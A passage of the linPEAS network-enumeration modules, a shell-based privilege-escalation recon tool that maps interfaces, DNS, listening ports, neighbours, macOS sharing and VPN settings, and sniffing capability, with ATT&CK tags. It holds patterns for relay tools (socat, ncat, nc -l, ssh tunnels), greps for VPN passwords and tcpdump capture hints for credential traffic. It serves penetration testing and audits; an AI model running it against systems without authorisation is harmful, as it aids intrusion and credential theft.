check_tcp_80 "$TIMEOUT_INTERNET_SECONDS" 2>/dev/null & pid1=$! check_tcp_443 "$TIMEOUT_INTERNET_SECONDS" 2>/dev/null & pid2=$! check_icmp "$TIMEOUT_INTERNET_SECONDS" 2>/dev/null & pid3=$! check_dns "$TIMEOUT_INTERNET_SECONDS" 2>/dev/null & pid4=$! # Kill all check workers after timeout + 1s without relying on integer arithmetic (sleep "$TIMEOUT_INTERNET_SECONDS"; sleep 1; kill -9 $pid1 $pid2 $pid3 $pid4 2>/dev/null) & check_tcp_443_bin $TIMEOUT_INTERNET_SECONDS 2>/dev/null tcp443_bin_status=$? wait $pid1 $pid2 $pid3 $pid4 2>/dev/null # Wait for all to finish wait 2>/dev/null if [ "$tcp443_bin_status" -eq 0 ] && \ [ -z "$SUPERFAST" ] && [ -z "$NOT_CHECK_EXTERNAL_HOSTNAME" ]; then echo "" print_2title "Is hostname malicious or leaked?" "T1016,T1590" print_info "This will check the public IP and hostname in known malicious lists and leaks to find any relevant information about the host." check_external_hostname 2>/dev/null fi echo "" print_3title "Proxy discovery" "T1016,T1590" print_info "Checking common proxy env vars and apt proxy config" (env | grep -iE '^(http|https|ftp|all)_proxy=|^no_proxy=') 2>/dev/null | sed -${E} "s,_proxy|no_proxy,${SED_RED_YELLOW},g" grep -RinE 'Acquire::(http|https)::Proxy|proxy' /etc/apt/apt.conf /etc/apt/apt.conf.d 2>/dev/null | sed -${E} "s,proxy|Acquire::http::Proxy|Acquire::https::Proxy,${SED_RED_YELLOW},g" echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/5_network_information/1_Network_interfaces.sh ================================================ # Title: Network Information - Network interfaces # ID: NT_Network_interfaces # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check network interfaces # License: GNU GPL # Version: 1.0 # Mitre: T1016 # Functions Used: print_2title, print_3title # Global Variables: $E, $SED_RED_YELLOW # Initial Functions: # Generated Global Variables: $iface, $state, $mac, $ip_file, $line # Fat linpeas: 0 # Small linpeas: 1 # Function to parse network interfaces from /proc/net/dev and other sources parse_network_interfaces() { # Try to get interfaces from /proc/net/dev if [ -f "/proc/net/dev" ]; then echo "Network Interfaces from /proc/net/dev:" echo "----------------------------------------" # Skip header lines and format output grep -v "^Inter\|^ face" /proc/net/dev | while read -r line; do iface=$(echo "$line" | awk -F: '{print $1}' | tr -d ' ') if [ -n "$iface" ]; then echo "Interface: $iface" # Try to get IP address from /sys/class/net if [ -f "/sys/class/net/$iface/address" ]; then mac=$(cat "/sys/class/net/$iface/address" 2>/dev/null) echo " MAC: $mac" fi # Try to get IP from /sys/class/net if [ -d "/sys/class/net/$iface/ipv4" ]; then for ip_file in /sys/class/net/$iface/ipv4/addr_*; do if [ -f "$ip_file" ]; then ip=$(cat "$ip_file" 2>/dev/null) echo " IP: $ip" fi done fi # Get interface state if [ -f "/sys/class/net/$iface/operstate" ]; then state=$(cat "/sys/class/net/$iface/operstate" 2>/dev/null) echo " State: $state" fi echo "" fi done fi # Try to get additional info from /proc/net/fib_trie if [ -f "/proc/net/fib_trie" ]; then echo "Additional IP Information from fib_trie:" echo "----------------------------------------" grep -A1 "Main" /proc/net/fib_trie | grep -v "\-\-" | while read -r line; do if echo "$line" | grep -q "Main"; then echo "Network: $(echo "$line" | awk '{print $2}')" elif echo "$line" | grep -q "/"; then echo " IP: $(echo "$line" | awk '{print $2}')" fi done fi } print_2title "Interfaces" "T1016" cat /etc/networks 2>/dev/null # Try standard tools first, then fall back to our custom function if command -v ifconfig >/dev/null 2>&1; then ifconfig 2>/dev/null elif command -v ip >/dev/null 2>&1; then ip a 2>/dev/null else parse_network_interfaces fi if command -v ip >/dev/null 2>&1; then print_3title "Routing & policy quick view" "T1016" ip route 2>/dev/null ip -6 route 2>/dev/null | head -n 30 echo "" ip rule 2>/dev/null print_3title "Virtual/overlay interfaces quick view" "T1016" ip -d link 2>/dev/null | grep -E "^[0-9]+:|veth|docker|cni|flannel|br-|bridge|vlan|bond|tun|tap|wg|tailscale" | sed -${E} "s,veth|docker|cni|flannel|br-|bridge|vlan|bond|tun|tap|wg|tailscale,${SED_RED_YELLOW},g" print_3title "Network namespaces quick view" "T1016" ip netns list 2>/dev/null ls -la /var/run/netns/ 2>/dev/null fi print_3title "Forwarding status" "T1016" sysctl net.ipv4.ip_forward net.ipv6.conf.all.forwarding 2>/dev/null | sed -${E} "s,=[[:space:]]*1,${SED_RED_YELLOW},g" echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/5_network_information/2_Hostname_hosts_dns.sh ================================================ # Title: Network Information - Hostname, hosts and DNS # ID: NT_Hostname_hosts_dns # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Get hostname, hosts and DNS # License: GNU GPL # Version: 1.0 # Mitre: T1016,T1018 # Functions Used: print_2title, warn_exec # Global Variables: # Initial Functions: # Generated Global Variables: $conf, $line # Fat linpeas: 0 # Small linpeas: 1 # Function to get hostname using multiple methods get_hostname_info() { print_3title "Hostname Information" "T1016,T1018" # Try multiple methods to get hostname if command -v hostname >/dev/null 2>&1; then echo "System hostname: $(hostname 2>/dev/null)" echo "FQDN: $(hostname -f 2>/dev/null)" else # Fallback methods if [ -f "/proc/sys/kernel/hostname" ]; then echo "System hostname: $(cat /proc/sys/kernel/hostname 2>/dev/null)" fi if [ -f "/etc/hostname" ]; then echo "Hostname from /etc/hostname: $(cat /etc/hostname 2>/dev/null)" fi fi echo "" } # Function to get hosts file information get_hosts_info() { print_3title "Hosts File Information" "T1016,T1018" if [ -f "/etc/hosts" ]; then echo "Contents of /etc/hosts:" grep -v "^#" /etc/hosts 2>/dev/null | grep -v "^$" | while read -r line; do echo " $line" done fi echo "" } # Function to get DNS information get_dns_info() { print_3title "DNS Configuration" "T1016,T1018" # Get resolv.conf information if [ -f "/etc/resolv.conf" ]; then echo "DNS Servers (resolv.conf):" grep -v "^#" /etc/resolv.conf 2>/dev/null | grep -v "^$" | while read -r line; do if echo "$line" | grep -q "nameserver"; then echo " $(echo "$line" | awk '{print $2}')" elif echo "$line" | grep -q "search\|domain"; then echo " $line" fi done fi # Check for systemd-resolved configuration if [ -f "/etc/systemd/resolved.conf" ]; then echo -e "\nSystemd-resolved configuration:" grep -v "^#" /etc/systemd/resolved.conf 2>/dev/null | grep -v "^$" | while read -r line; do echo " $line" done fi # Check for NetworkManager DNS settings if [ -d "/etc/NetworkManager" ]; then echo -e "\nNetworkManager DNS settings:" find /etc/NetworkManager -type f -name "*.conf" 2>/dev/null | while read -r conf; do if grep -q "dns=" "$conf" 2>/dev/null; then echo " From $conf:" grep "dns=" "$conf" 2>/dev/null | while read -r line; do echo " $line" done fi done fi # Try to get DNS domain name echo -e "\nDNS Domain Information:" if command -v dnsdomainname >/dev/null 2>&1; then warn_exec dnsdomainname 2>/dev/null fi if command -v domainname >/dev/null 2>&1; then warn_exec domainname 2>/dev/null fi # Check for DNS cache status if command -v systemd-resolve >/dev/null 2>&1; then echo -e "\nDNS Cache Status (systemd-resolve):" systemd-resolve --status 2>/dev/null | grep -A5 "DNS Servers" | grep -v "\-\-" | while read -r line; do echo " $line" done fi echo "" } print_2title "Hostname, hosts and DNS" "T1016,T1018" # Execute all information gathering functions get_hostname_info get_hosts_info get_dns_info ================================================ FILE: linPEAS/builder/linpeas_parts/5_network_information/3_Network_neighbours.sh ================================================ # Title: Network Information - Network neighbours # ID: NT_Network_neighbours # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Networks and neighbours # License: GNU GPL # Version: 1.0 # Mitre: T1018,T1040 # Functions Used: print_2title, print_3title # Global Variables: $EXTRA_CHECKS, $MACPEAS # Initial Functions: # Generated Global Variables: $hwtype, $flags, $line, $iface, $dest, $ref, $use, $mask, $metric, $device, $hwaddr # Fat linpeas: 0 # Small linpeas: 0 # Function to parse routing information from /proc/net/route parse_proc_route() { print_3title "Routing Table (from /proc/net/route)" "T1018,T1040" echo "Destination Gateway Genmask Flags Metric Ref Use Iface" echo "--------------------------------------------------------------------------------" # Skip header line and process each route tail -n +2 /proc/net/route 2>/dev/null | while read -r line; do if [ -n "$line" ]; then # Extract fields iface=$(echo "$line" | awk '{print $1}') dest=$(printf "%d.%d.%d.%d" $(echo "$line" | awk '{printf "0x%s 0x%s 0x%s 0x%s", substr($2,7,2), substr($2,5,2), substr($2,3,2), substr($2,1,2)}')) gw=$(printf "%d.%d.%d.%d" $(echo "$line" | awk '{printf "0x%s 0x%s 0x%s 0x%s", substr($3,7,2), substr($3,5,2), substr($3,3,2), substr($3,1,2)}')) mask=$(printf "%d.%d.%d.%d" $(echo "$line" | awk '{printf "0x%s 0x%s 0x%s 0x%s", substr($4,7,2), substr($4,5,2), substr($4,3,2), substr($4,1,2)}')) flags=$(echo "$line" | awk '{print $5}') metric=$(echo "$line" | awk '{print $6}') ref=$(echo "$line" | awk '{print $7}') use=$(echo "$line" | awk '{print $8}') # Print formatted output printf "%-18s %-15s %-15s %-6s %-6s %-6s %-6s %s\n" "$dest" "$gw" "$mask" "$flags" "$metric" "$ref" "$use" "$iface" fi done echo "" } # Function to parse ARP information from /proc/net/arp parse_proc_arp() { print_3title "ARP Table (from /proc/net/arp)" "T1018,T1040" echo "IP address HW type Flags HW address Mask Device" echo "------------------------------------------------------------------------" # Skip header line and process each ARP entry tail -n +2 /proc/net/arp 2>/dev/null | while read -r line; do if [ -n "$line" ]; then ip=$(echo "$line" | awk '{print $1}') hwtype=$(echo "$line" | awk '{print $2}') flags=$(echo "$line" | awk '{print $3}') hwaddr=$(echo "$line" | awk '{print $4}') mask=$(echo "$line" | awk '{print $5}') device=$(echo "$line" | awk '{print $6}') # Print formatted output printf "%-15s %-11s %-9s %-18s %-8s %s\n" "$ip" "$hwtype" "$flags" "$hwaddr" "$mask" "$device" fi done echo "" } # Function to get network neighbors information get_network_neighbors() { print_2title "Networks and neighbours" "T1018,T1040" # Get routing information print_3title "Routing Information" "T1018,T1040" if [ "$MACPEAS" ]; then # macOS specific if command -v netstat >/dev/null 2>&1; then netstat -rn 2>/dev/null else echo "No routing information available" fi else # Linux systems if command -v ip >/dev/null 2>&1; then ip route 2>/dev/null echo -e "\nNeighbor table:" ip neigh 2>/dev/null elif command -v route >/dev/null 2>&1; then route -n 2>/dev/null elif [ -f "/proc/net/route" ]; then parse_proc_route else echo "No routing information available" fi fi # Get ARP information print_3title "ARP Information" "T1018,T1040" if command -v arp >/dev/null 2>&1; then if [ "$MACPEAS" ]; then arp -a 2>/dev/null else arp -e 2>/dev/null || arp -a 2>/dev/null fi elif [ -f "/proc/net/arp" ]; then parse_proc_arp else echo "No ARP information available" fi # Additional neighbor discovery methods print_3title "Additional Neighbor Information" "T1018,T1040" # Check for IPv6 neighbors if available if [ -f "/proc/net/ipv6_neigh" ]; then echo "IPv6 Neighbors:" cat /proc/net/ipv6_neigh 2>/dev/null | grep -v "^IP" | while read -r line; do if [ -n "$line" ]; then echo " $line" fi done fi # Try to get LLDP neighbors if available if command -v lldpctl >/dev/null 2>&1; then echo -e "\nLLDP Neighbors:" lldpctl 2>/dev/null | grep -A2 "Interface:" | while read -r line; do echo " $line" done fi # Try to get CDP neighbors if available if command -v cdp >/dev/null 2>&1; then echo -e "\nCDP Neighbors:" cdp 2>/dev/null | grep -v "^$" | while read -r line; do echo " $line" done fi echo "" } if [ "$EXTRA_CHECKS" ]; then get_network_neighbors fi ================================================ FILE: linPEAS/builder/linpeas_parts/5_network_information/4_Open_ports.sh ================================================ # Title: Network Information - Open ports # ID: NT_Open_ports # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Enumerate open ports # License: GNU GPL # Version: 1.0 # Mitre: T1049 # Functions Used: print_2title, print_3title, print_info # Global Variables: $E, $SED_RED, $SED_RED_YELLOW # Initial Functions: # Generated Global Variables: $pid_dir, $tx_queue, $pid, $rem_port, $proc_file, $rem_ip, $local_ip, $rx_queue, $proto, $rem_addr, $program, $state, $header_sep, $proc_info, $inode, $header, $line, $local_addr, $local_port # Fat linpeas: 0 # Small linpeas: 1 # Function to get process info from inode get_process_info() { local inode=$1 local pid="" local program="" if [ -n "$inode" ]; then for pid_dir in /proc/[0-9]*/fd; do if [ -d "$pid_dir" ]; then if ls -l "$pid_dir" 2>/dev/null | grep -q "$inode"; then pid=$(echo "$pid_dir" | awk -F/ '{print $3}') if [ -f "/proc/$pid/cmdline" ]; then program=$(tr '\0' ' ' < "/proc/$pid/cmdline" | cut -d' ' -f1) program=$(basename "$program") fi break fi fi done fi echo "$pid/$program" } # Function to parse /proc/net/tcp and /proc/net/udp files parse_proc_net_ports() { local proto=$1 local proc_file="/proc/net/$proto" local header="Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name" local header_sep="--------------------------------------------------------------------------------" if [ -f "$proc_file" ]; then print_3title "Active $proto Ports (from /proc/net/$proto)" "T1049" echo "$header" echo "$header_sep" # Process each connection using a pipe tail -n +2 "$proc_file" 2>/dev/null | while IFS= read -r line; do [ -z "$line" ] && continue # Skip header case "$line" in *"sl"*) continue ;; *) : ;; esac # Extract fields using awk sl=$(echo "$line" | awk '{print $1}') local_addr=$(echo "$line" | awk '{print $2}') rem_addr=$(echo "$line" | awk '{print $3}') st=$(echo "$line" | awk '{print $4}') tx_queue=$(echo "$line" | awk '{print $5}') rx_queue=$(echo "$line" | awk '{print $6}') uid=$(echo "$line" | awk '{print $7}') inode=$(echo "$line" | awk '{print $10}') # Convert hex IP:port to decimal local_ip=$(printf "%d.%d.%d.%d" $(echo "$local_addr" | awk -F: '{printf "0x%s 0x%s 0x%s 0x%s", substr($1,7,2), substr($1,5,2), substr($1,3,2), substr($1,1,2)}')) local_port=$(printf "%d" "0x$(echo "$local_addr" | awk -F: '{print $2}')") rem_ip=$(printf "%d.%d.%d.%d" $(echo "$rem_addr" | awk -F: '{printf "0x%s 0x%s 0x%s 0x%s", substr($1,7,2), substr($1,5,2), substr($1,3,2), substr($1,1,2)}')) rem_port=$(printf "%d" "0x$(echo "$rem_addr" | awk -F: '{print $2}')") # Get process information proc_info=$(get_process_info "$inode") # Get state name case $st in "01") state="ESTABLISHED" ;; "02") state="SYN_SENT" ;; "03") state="SYN_RECV" ;; "04") state="FIN_WAIT1" ;; "05") state="FIN_WAIT2" ;; "06") state="TIME_WAIT" ;; "07") state="CLOSE" ;; "08") state="CLOSE_WAIT" ;; "09") state="LAST_ACK" ;; "0A") state="LISTEN" ;; "0B") state="CLOSING" ;; "0C") state="NEW_SYN_RECV" ;; *) state="UNKNOWN" ;; esac # Only show listening ports if [ "$state" = "LISTEN" ]; then # Format the output printf "%-6s %-8s %-8s %-21s %-21s %-12s %s\n" \ "$proto" "$rx_queue" "$tx_queue" "$local_ip:$local_port" "$rem_ip:$rem_port" "$state" "$proc_info" fi done fi echo "" } # Function to get open ports information get_open_ports() { print_2title "Active Ports" "T1049" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports" # Try standard tools first if command -v netstat >/dev/null 2>&1; then print_3title "Active Ports (netstat)" "T1049" netstat -punta 2>/dev/null | grep -i listen | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},g" elif command -v ss >/dev/null 2>&1; then print_3title "Active Ports (ss)" "T1049" ss -nltpu 2>/dev/null | grep -i listen | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},g" else # Fallback to parsing /proc/net files parse_proc_net_ports "tcp" parse_proc_net_ports "udp" fi # Focused local service exposure view print_3title "Local-only listeners (loopback)" "T1049" if command -v ss >/dev/null 2>&1; then ss -nltpu 2>/dev/null | grep -E "127\.0\.0\.1:|::1:" | sed -${E} "s,127\.0\.0\.1:|::1:,${SED_RED},g" elif command -v netstat >/dev/null 2>&1; then netstat -punta 2>/dev/null | grep -i listen | grep -E "127\.0\.0\.1:|::1:" | sed -${E} "s,127\.0\.0\.1:|::1:,${SED_RED},g" fi print_3title "Unique listener bind addresses" "T1049" if command -v ss >/dev/null 2>&1; then ss -nltpuH 2>/dev/null | awk '{ a=$5 if (a ~ /^\[/) { sub(/^\[/, "", a) sub(/\]:[0-9]+$/, "", a) } else if (a ~ /:[0-9]+$/) { sub(/:[0-9]+$/, "", a) } sub(/^::ffff:/, "", a) if (a != "") print a }' | sort -u | sed -${E} "s,127\.0\.0\.1|::1,${SED_RED},g" elif command -v netstat >/dev/null 2>&1; then netstat -punta 2>/dev/null | grep -i listen | awk '{ a=$4 if (a ~ /^\[/) { sub(/^\[/, "", a) sub(/\]:[0-9]+$/, "", a) } else if (a ~ /:[0-9]+$/) { sub(/:[0-9]+$/, "", a) } if (a == ":::" ) a="::" sub(/^::ffff:/, "", a) if (a != "") print a }' | sort -u | sed -${E} "s,127\.0\.0\.1|::1,${SED_RED},g" fi print_3title "Potential local forwarders/relays" "T1049" ps aux 2>/dev/null | grep -E "[s]ocat|[s]sh .*(-L|-R|-D)|[n]cat|[n]c .*-l" | sed -${E} "s,socat|ssh|-L|-R|-D|ncat|nc,${SED_RED_YELLOW},g" # Additional port information if [ "$EXTRA_CHECKS" ] || [ "$DEBUG" ]; then print_3title "Additional Port Information" "T1049" # Check for listening ports in /proc/net/unix if [ -f "/proc/net/unix" ]; then echo "Unix Domain Sockets:" # Use awk to process the file in one go, avoiding duplicates and empty paths awk '$8 != "" && $8 != "@" && $8 != "00000000" { inode=$7 socket=$8 # Find process using inode cmd="find /proc/[0-9]*/fd -ls 2>/dev/null | grep " inode " | head -n1 | awk \"{print \\$11}\" | xargs -r readlink" pid="" while (cmd | getline pid_dir) { if (pid_dir != "") { split(pid_dir, parts, "/") pid=parts[3] break } } close(cmd) if (pid != "") { cmd="tr \\0 \" \" < /proc/" pid "/cmdline 2>/dev/null | cut -d\" \" -f1 | xargs -r basename" cmd | getline prog close(cmd) if (prog != "") { print " " socket " (" pid "/" prog ")" } else { print " " socket " (" pid ")" } } else { print " " socket } }' /proc/net/unix 2>/dev/null | sort -u fi # Check for ports in use by systemd if command -v systemctl >/dev/null 2>&1; then echo -e "\nSystemd Socket Units:" systemctl list-sockets 2>/dev/null | while IFS= read -r line; do [ -z "$line" ] && continue if ! echo "$line" | grep -q "UNIT\|listed"; then echo " $line" fi done fi fi echo "" } get_open_ports ================================================ FILE: linPEAS/builder/linpeas_parts/5_network_information/5_Macos_network_capabilities.sh ================================================ # Title: Network Information - MacOS network capabilities # ID: NT_Macos_network_capabilities # Author: Carlos Polop # Last Update: 22-08-2023 # Description: MacOS network Capabilities # License: GNU GPL # Version: 1.0 # Mitre: T1016 # Functions Used: print_2title, print_3title, warn_exec # Global Variables: $MACPEAS, $EXTRA_CHECKS # Initial Functions: # Generated Global Variables: $net_service # Fat linpeas: 0 # Small linpeas: 0 # Function to get network capabilities information get_macos_network_capabilities() { print_2title "Network Capabilities" "T1016" # Basic network information echo "" print_3title "Network Interfaces and Configuration" "T1016" warn_exec system_profiler SPNetworkDataType # Network locations echo "" print_3title "Network Locations" "T1016" warn_exec system_profiler SPNetworkLocationDataType # Network extensions echo "" print_3title "Network Extensions" "T1016" if [ -d "/Library/SystemExtensions" ]; then warn_exec systemextensionsctl list fi # Network security echo "" print_3title "Network Security" "T1016" if command -v networksetup >/dev/null 2>&1; then echo "Firewall Status:" warn_exec networksetup -getglobalstate echo -e "\nFirewall Rules:" warn_exec networksetup -listallnetworkservices | while read -r net_service; do if [ -n "$net_service" ]; then echo "Service: $net_service" warn_exec networksetup -getwebproxy "$net_service" warn_exec networksetup -getsecurewebproxy "$net_service" warn_exec networksetup -getproxybypassdomains "$net_service" fi done fi # Additional network information if EXTRA_CHECKS is enabled if [ "$EXTRA_CHECKS" ]; then # Network preferences echo "" print_3title "Network Preferences" "T1016" if [ -f "/Library/Preferences/SystemConfiguration/preferences.plist" ]; then warn_exec plutil -p /Library/Preferences/SystemConfiguration/preferences.plist | grep -A 5 "NetworkServices" fi # Network statistics echo "" print_3title "Network Statistics" "T1016" warn_exec netstat -s # Network routes echo "" print_3title "Network Routes" "T1016" warn_exec netstat -rn # Network interfaces details echo "" print_3title "Network Interfaces Details" "T1016" warn_exec ifconfig -a # Network kernel extensions echo "" print_3title "Network Kernel Extensions" "T1016" warn_exec kextstat | grep -i network fi echo "" } if [ "$MACPEAS" ]; then get_macos_network_capabilities fi ================================================ FILE: linPEAS/builder/linpeas_parts/5_network_information/6_Macos_network_services.sh ================================================ # Title: Network Information - MacOS Network Services # ID: NT_Macos_network_services # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Enumerate macos network services # License: GNU GPL # Version: 1.0 # Mitre: T1016 # Functions Used: print_2title, print_3title, warn_exec # Global Variables: $EXTRA_CHECKS, $MACPEAS, $E, $SED_RED # Initial Functions: # Generated Global Variables: $sharing_service, $profile, $port3, $service_count, $port1, $port, $services, $total, $port_list, $count, $ports, $active_ports, $port2 # Fat linpeas: 0 # Small linpeas: 0 # Function to check if a port is listening check_listening_port() { local port=$1 local service=$2 local count=0 # Check both IPv4 and IPv6 count=$(netstat -na 2>/dev/null | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.${port}" | wc -l) echo "$count" } # Function to get sharing services status get_sharing_services_status() { print_2title "MacOS Sharing Services Status" "T1016" # Define services and their ports using parallel arrays services="Screen Sharing File Sharing Remote Login Remote Management Remote Apple Events Back to My Mac AirPlay Receiver AirDrop Bonjour Printer Sharing Internet Sharing" ports="5900 88,445,548 22 3283 3031 4488 7000 5353 5353 515,631 67,68" # Check each service echo "Service Status (0=OFF, >0=ON):" echo "--------------------------------" # Get number of services service_count=$(echo "$services" | wc -w) # Loop through services using index i=1 while [ $i -le $service_count ]; do sharing_service=$(echo "$services" | cut -d' ' -f$i) port_list=$(echo "$ports" | cut -d' ' -f$i) total=0 active_ports="" # Check each port for the service port1=$(echo "$port_list" | cut -d',' -f1) port2=$(echo "$port_list" | cut -d',' -f2) port3=$(echo "$port_list" | cut -d',' -f3) for port in $port1 $port2 $port3; do if [ -n "$port" ]; then count=$(check_listening_port "$port" "$sharing_service") if [ "$count" -gt 0 ]; then total=$((total + count)) if [ -n "$active_ports" ]; then active_ports="${active_ports}," fi active_ports="${active_ports}${port}" fi fi done # Print service status if [ "$total" -gt 0 ]; then printf "%-20s: ON (Ports: %s)\n" "$sharing_service" "$active_ports" | sed -${E} "s,ON.*,${SED_RED},g" else printf "%-20s: OFF\n" "$sharing_service" fi i=$((i + 1)) done echo "" } # Function to get VPN information get_vpn_info() { print_3title "VPN Information" "T1016" # Get VPN configurations warn_exec system_profiler SPNetworkLocationDataType | grep -A 5 -B 7 ": Password" | sed -${E} "s,Password|Authorization Name.*,${SED_RED},g" # Check for VPN profiles if [ -d "/Library/Preferences/SystemConfiguration" ]; then echo -e "\nVPN Profiles:" find /Library/Preferences/SystemConfiguration -name "*.plist" -exec grep -l "VPN" {} \; 2>/dev/null | while read -r profile; do echo "Profile: $profile" warn_exec plutil -p "$profile" | grep -A 5 "VPN" done fi echo "" } # Function to get firewall information get_firewall_info() { print_3title "Firewall Information" "T1016" # Get firewall status warn_exec system_profiler SPFirewallDataType # Get application firewall rules if command -v /usr/libexec/ApplicationFirewall/socketfilterfw >/dev/null 2>&1; then echo -e "\nApplication Firewall Rules:" warn_exec /usr/libexec/ApplicationFirewall/socketfilterfw --listapps fi # Get pf firewall rules if available if command -v pfctl >/dev/null 2>&1; then echo -e "\nPF Firewall Rules:" warn_exec pfctl -s rules 2>/dev/null fi echo "" } # Function to get additional network information get_additional_network_info() { if [ "$EXTRA_CHECKS" ]; then print_3title "Additional Network Information" "T1016" # Bluetooth information echo "Bluetooth Status:" warn_exec system_profiler SPBluetoothDataType # Ethernet information echo -e "\nEthernet Status:" warn_exec system_profiler SPEthernetDataType # USB network adapters echo -e "\nUSB Network Adapters:" warn_exec system_profiler SPUSBDataType # Network kernel extensions echo -e "\nNetwork Kernel Extensions:" warn_exec kextstat | grep -i "network\|ethernet\|wifi\|bluetooth" # Network daemons echo -e "\nNetwork Daemons:" warn_exec launchctl list | grep -i "network\|vpn\|firewall\|sharing" fi echo "" } # Main function to get all network services information get_macos_network_services() { if [ "$MACPEAS" ]; then # Get sharing services status get_sharing_services_status # Get VPN information get_vpn_info # Get firewall information get_firewall_info # Get additional network information if EXTRA_CHECKS is enabled get_additional_network_info fi } if [ "$MACPEAS" ]; then get_macos_network_services fi ================================================ FILE: linPEAS/builder/linpeas_parts/5_network_information/7_Tcpdump.sh ================================================ # Title: Network Information - Network Traffic Analysis # ID: NT_Tcpdump # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check network traffic analysis capabilities and tools # License: GNU GPL # Version: 1.0 # Mitre: T1040 # Functions Used: print_2title, print_3title, print_info, warn_exec # Global Variables: $EXTRA_CHECKS, $E, $SED_RED, $SED_GREEN, $SED_RED_YELLOW # Initial Functions: # Generated Global Variables: $tools_found, $tool, $interfaces, $interfaces_found, $iface, $cmd, $pattern, $patterns, $dumpcap_test_file # Fat linpeas: 0 # Small linpeas: 1 # Function to check if a command exists and is executable check_command() { local cmd=$1 if command -v "$cmd" >/dev/null 2>&1; then if [ -x "$(command -v "$cmd")" ]; then return 0 fi fi return 1 } # Function to check if we can sniff on an interface check_interface_sniffable() { local iface=$1 if check_command tcpdump; then if timeout 1 tcpdump -i "$iface" -c 1 >/dev/null 2>&1; then return 0 fi elif check_command dumpcap; then dumpcap_test_file="/tmp/.linpeas_dumpcap_test_$$.pcap" if timeout 2 dumpcap -i "$iface" -c 1 -q -w "$dumpcap_test_file" >/dev/null 2>&1; then rm -f "$dumpcap_test_file" 2>/dev/null return 0 fi rm -f "$dumpcap_test_file" 2>/dev/null fi return 1 } # Function to check for promiscuous mode check_promiscuous_mode() { local iface=$1 if ip link show "$iface" 2>/dev/null | grep -q "PROMISC"; then return 0 fi return 1 } # Main function to check network traffic analysis capabilities check_network_traffic_analysis() { print_2title "Network Traffic Analysis Capabilities" "T1040" # Check for sniffing tools echo "" print_3title "Available Sniffing Tools" "T1040" tools_found=0 if check_command tcpdump; then echo "tcpdump is available" | sed -${E} "s,.*,${SED_GREEN},g" tools_found=1 # Check tcpdump version and capabilities warn_exec tcpdump --version 2>/dev/null | head -n 1 getcap "$(command -v tcpdump)" 2>/dev/null fi if check_command dumpcap; then echo "dumpcap is available" | sed -${E} "s,.*,${SED_GREEN},g" tools_found=1 warn_exec dumpcap --version 2>/dev/null | head -n 1 getcap "$(command -v dumpcap)" 2>/dev/null if id -nG 2>/dev/null | grep -qw wireshark; then echo "Current user is in wireshark group" | sed -${E} "s,.*,${SED_GREEN},g" elif getent group wireshark >/dev/null 2>&1; then echo "wireshark group exists but current user is not in it" | sed -${E} "s,.*,${SED_RED_YELLOW},g" fi fi if check_command tshark; then echo "tshark is available" | sed -${E} "s,.*,${SED_GREEN},g" tools_found=1 # Check tshark version warn_exec tshark --version 2>/dev/null | head -n 1 fi if check_command wireshark; then echo "wireshark is available" | sed -${E} "s,.*,${SED_GREEN},g" tools_found=1 fi if check_command ngrep; then echo "ngrep is available" | sed -${E} "s,.*,${SED_GREEN},g" tools_found=1 fi if check_command tcpflow; then echo "tcpflow is available" | sed -${E} "s,.*,${SED_GREEN},g" tools_found=1 fi if [ $tools_found -eq 0 ]; then echo "No sniffing tools found" | sed -${E} "s,.*,${SED_RED},g" fi if check_command tcpdump; then echo "Sniffable interfaces according to tcpdump -D:" timeout 2 tcpdump -D 2>/dev/null elif check_command dumpcap; then echo "Sniffable interfaces according to dumpcap -D:" timeout 2 dumpcap -D 2>/dev/null fi # Check network interfaces echo "" print_3title "Network Interfaces Sniffing Capabilities" "T1040" interfaces_found=0 # Get list of network interfaces if command -v ip >/dev/null 2>&1; then interfaces=$(ip -o link show | awk -F': ' '{print $2}') elif command -v ifconfig >/dev/null 2>&1; then interfaces=$(ifconfig -a | grep -o '^[^ ]*:' | tr -d ':') else interfaces=$(ls /sys/class/net/ 2>/dev/null) fi for iface in $interfaces; do if [ "$iface" = "lo" ]; then echo -n "Interface $iface (loopback): " else echo -n "Interface $iface: " fi if check_interface_sniffable "$iface"; then echo "Sniffable" | sed -${E} "s,.*,${SED_GREEN},g" interfaces_found=1 # Check promiscuous mode if [ "$iface" != "lo" ] && check_promiscuous_mode "$iface"; then echo " - Promiscuous mode enabled" | sed -${E} "s,.*,${SED_RED},g" fi # Get interface details if [ "$EXTRA_CHECKS" ]; then echo " - Interface details:" warn_exec ip addr show "$iface" 2>/dev/null || ifconfig "$iface" 2>/dev/null fi else echo "Not sniffable" | sed -${E} "s,.*,${SED_RED},g" fi done if [ $interfaces_found -eq 0 ]; then echo "No sniffable interfaces found" | sed -${E} "s,.*,${SED_RED},g" fi # Check for sensitive traffic patterns if we have sniffing capabilities if [ $tools_found -eq 1 ] && [ $interfaces_found -eq 1 ]; then echo "" print_3title "Sensitive Traffic Detection" "T1040" print_info "Checking for common sensitive traffic patterns..." # List of sensitive traffic patterns to check patterns=" - HTTP Basic Auth - FTP credentials - SMTP credentials - MySQL/MariaDB traffic - PostgreSQL traffic - Redis traffic - MongoDB traffic - LDAP traffic - SMB traffic - DNS queries - SNMP traffic - Many more... " echo "$patterns" | while read -r pattern; do if [ -n "$pattern" ]; then echo "$pattern" fi done print_info "To capture sensitive traffic, you can use:" echo "tcpdump -i -w capture.pcap" | sed -${E} "s,.*,${SED_GREEN},g" echo "tshark -i -w capture.pcap" | sed -${E} "s,.*,${SED_GREEN},g" echo "dumpcap -i -w capture.pcap" | sed -${E} "s,.*,${SED_GREEN},g" fi echo "" print_3title "Running sniffing/traffic reconstruction processes" "T1040" ps aux 2>/dev/null | grep -E "[t]cpdump|[d]umpcap|[t]shark|[w]ireshark|[n]grep|[t]cpflow" | sed -${E} "s,.*,${SED_RED_YELLOW},g" # Additional information 